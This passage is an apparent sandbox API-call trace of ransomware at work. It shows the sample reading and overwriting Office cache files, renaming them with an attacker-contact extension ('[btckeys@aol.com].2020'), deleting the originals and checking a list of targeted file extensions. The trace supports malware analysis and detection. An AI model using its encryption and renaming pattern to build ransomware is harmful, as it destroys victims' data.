SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0075.342] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0075.342] ReadFile (in: hFile=0x184, lpBuffer=0x3c00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c00058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0075.616] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0075.616] WriteFile (in: hFile=0x184, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x302fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0075.633] SetEndOfFile (hFile=0x184) returned 1 [0075.633] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f54fa0 [0075.814] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0075.814] WriteFile (in: hFile=0x184, lpBuffer=0x3f54fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f54fa0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0075.817] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0075.817] WriteFile (in: hFile=0x184, lpBuffer=0x3f54fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f54fa0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0075.822] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0075.822] WriteFile (in: hFile=0x184, lpBuffer=0x3f54fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f54fa0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0075.825] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f54fa0 | out: hHeap=0x4b0000) returned 1 [0075.825] CloseHandle (hObject=0x184) returned 1 [0075.825] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0075.826] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0075.826] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0075.826] lstrlenW (lpString=".doc") returned 4 [0075.826] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0075.826] lstrlenW (lpString=".docx") returned 5 [0075.826] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0075.826] lstrlenW (lpString=".pdf") returned 4 [0075.826] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0075.826] lstrlenW (lpString=".xls") returned 4 [0075.826] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0075.826] lstrlenW (lpString=".xlsx") returned 5 [0075.826] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0075.826] lstrlenW (lpString=".ppt") returned 4 [0075.826] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0075.826] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0075.826] lstrlenW (lpString=".zip") returned 4 [0075.826] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0075.826] lstrlenW (lpString=".rar") returned 4 [0075.826] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0075.826] lstrlenW (lpString=".bz2") returned 4 [0075.826] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0075.826] lstrlenW (lpString=".7z") returned 3 [0075.827] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0075.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0075.827] lstrlenW (lpString=".dbf") returned 4 [0075.827] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0075.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0075.827] lstrlenW (lpString=".1cd") returned 4 [0075.827] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0075.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0075.827] lstrlenW (lpString=".jpg") returned 4 [0075.827] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0075.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0075.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0075.827] lstrlenW (lpString=".doc") returned 4 [0075.827] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0075.827] lstrlenW (lpString=".docx") returned 5 [0075.827] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0075.827] lstrlenW (lpString=".pdf") returned 4 [0075.827] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0075.827] lstrlenW (lpString=".xls") returned 4 [0075.827] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0075.827] lstrlenW (lpString=".xlsx") returned 5 [0075.827] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0075.827] lstrlenW (lpString=".ppt") returned 4 [0075.827] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0075.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0075.827] lstrlenW (lpString=".zip") returned 4 [0075.827] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0075.828] lstrlenW (lpString=".rar") returned 4 [0075.828] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0075.828] lstrlenW (lpString=".bz2") returned 4 [0075.828] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0075.828] lstrlenW (lpString=".7z") returned 3 [0075.828] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0075.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0075.828] lstrlenW (lpString=".dbf") returned 4 [0075.828] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0075.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0075.828] lstrlenW (lpString=".1cd") returned 4 [0075.828] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0075.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0075.828] lstrlenW (lpString=".jpg") returned 4 [0075.828] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0075.829] lstrcmpiW (lpString1=".cab", lpString2=".2020") returned 1 [0075.829] lstrlenW (lpString="ProjLR.cab") returned 10 [0075.829] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0075.855] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=8265165) returned 1 [0075.855] CloseHandle (hObject=0x184) returned 1 [0075.855] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab")) returned 0x2020 [0075.856] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0075.856] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0075.856] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0075.856] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0x0) returned 1 [0075.856] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0075.856] ReadFile (in: hFile=0x184, lpBuffer=0x3b80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b80058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0075.944] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0075.944] ReadFile (in: hFile=0x184, lpBuffer=0x3bc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bc0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0076.005] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0076.005] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0076.005] ReadFile (in: hFile=0x184, lpBuffer=0x3c00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c00058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0076.026] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.026] WriteFile (in: hFile=0x184, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x302fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0076.464] SetEndOfFile (hFile=0x184) returned 1 [0076.464] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3fb4fa8 [0076.467] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0076.467] WriteFile (in: hFile=0x184, lpBuffer=0x3fb4fa8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb4fa8*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.467] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0076.467] WriteFile (in: hFile=0x184, lpBuffer=0x3fb4fa8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb4fa8*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.470] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0076.470] WriteFile (in: hFile=0x184, lpBuffer=0x3fb4fa8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb4fa8*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.472] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fb4fa8 | out: hHeap=0x4b0000) returned 1 [0076.472] CloseHandle (hObject=0x184) returned 1 [0076.472] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0076.472] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0076.472] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0076.472] lstrlenW (lpString=".doc") returned 4 [0076.473] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0076.473] lstrlenW (lpString=".docx") returned 5 [0076.473] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0076.473] lstrlenW (lpString=".pdf") returned 4 [0076.473] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0076.473] lstrlenW (lpString=".xls") returned 4 [0076.473] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0076.473] lstrlenW (lpString=".xlsx") returned 5 [0076.473] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0076.473] lstrlenW (lpString=".ppt") returned 4 [0076.473] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0076.473] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0076.473] lstrlenW (lpString=".zip") returned 4 [0076.473] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0076.473] lstrlenW (lpString=".rar") returned 4 [0076.473] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0076.473] lstrlenW (lpString=".bz2") returned 4 [0076.473] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0076.473] lstrlenW (lpString=".7z") returned 3 [0076.473] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0076.473] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0076.473] lstrlenW (lpString=".dbf") returned 4 [0076.473] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0076.473] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0076.473] lstrlenW (lpString=".1cd") returned 4 [0076.473] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0076.473] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0076.473] lstrlenW (lpString=".jpg") returned 4 [0076.473] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0076.474] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0076.474] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0076.474] lstrlenW (lpString=".doc") returned 4 [0076.474] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0076.474] lstrlenW (lpString=".docx") returned 5 [0076.475] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0076.475] lstrlenW (lpString=".pdf") returned 4 [0076.475] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0076.475] lstrlenW (lpString=".xls") returned 4 [0076.475] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0076.475] lstrlenW (lpString=".xlsx") returned 5 [0076.476] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0076.476] lstrlenW (lpString=".ppt") returned 4 [0076.476] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0076.476] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0076.476] lstrlenW (lpString=".zip") returned 4 [0076.476] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0076.476] lstrlenW (lpString=".rar") returned 4 [0076.476] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0076.476] lstrlenW (lpString=".bz2") returned 4 [0076.476] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0076.476] lstrlenW (lpString=".7z") returned 3 [0076.476] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0076.476] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0076.476] lstrlenW (lpString=".dbf") returned 4 [0076.476] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0076.476] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0076.476] lstrlenW (lpString=".1cd") returned 4 [0076.476] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0076.477] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0076.477] lstrlenW (lpString=".jpg") returned 4 [0076.477] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0076.477] lstrcmpiW (lpString1=".dll", lpString2=".2020") returned 1 [0076.477] lstrlenW (lpString="dwintl20.dll") returned 12 [0076.477] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0076.478] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=107912) returned 1 [0076.478] CloseHandle (hObject=0x184) returned 1 [0076.478] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 0x2020 [0076.478] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0076.478] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0076.478] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.479] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.479] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0076.479] GetLastError () returned 0x0 [0076.479] ReadFile (in: hFile=0x184, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x1a588, lpOverlapped=0x0) returned 1 [0076.716] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0x1a590, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0x1a590, lpOverlapped=0x0) returned 1 [0076.718] ReadFile (in: hFile=0x184, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0076.719] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0076.719] SetEndOfFile (hFile=0x1e8) returned 1 [0076.719] CloseHandle (hObject=0x1e8) returned 1 [0076.719] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.719] SetEndOfFile (hFile=0x184) returned 1 [0076.721] CloseHandle (hObject=0x184) returned 1 [0076.721] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0076.721] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 1 [0076.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0076.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0076.722] lstrlenW (lpString=".doc") returned 4 [0076.722] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.722] lstrlenW (lpString=".docx") returned 5 [0076.722] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0076.722] lstrlenW (lpString=".pdf") returned 4 [0076.722] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.722] lstrlenW (lpString=".xls") returned 4 [0076.722] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.722] lstrlenW (lpString=".xlsx") returned 5 [0076.722] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0076.722] lstrlenW (lpString=".ppt") returned 4 [0076.722] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0076.722] lstrlenW (lpString=".zip") returned 4 [0076.722] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.722] lstrlenW (lpString=".rar") returned 4 [0076.722] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.722] lstrlenW (lpString=".bz2") returned 4 [0076.722] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.723] lstrlenW (lpString=".7z") returned 3 [0076.723] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0076.723] lstrlenW (lpString=".dbf") returned 4 [0076.723] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0076.723] lstrlenW (lpString=".1cd") returned 4 [0076.723] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0076.723] lstrlenW (lpString=".jpg") returned 4 [0076.723] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0076.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0076.723] lstrlenW (lpString=".doc") returned 4 [0076.723] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.723] lstrlenW (lpString=".docx") returned 5 [0076.723] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0076.723] lstrlenW (lpString=".pdf") returned 4 [0076.723] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.723] lstrlenW (lpString=".xls") returned 4 [0076.723] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.723] lstrlenW (lpString=".xlsx") returned 5 [0076.723] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0076.723] lstrlenW (lpString=".ppt") returned 4 [0076.723] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0076.724] lstrlenW (lpString=".zip") returned 4 [0076.724] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.724] lstrlenW (lpString=".rar") returned 4 [0076.724] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.724] lstrlenW (lpString=".bz2") returned 4 [0076.724] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.724] lstrlenW (lpString=".7z") returned 3 [0076.724] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 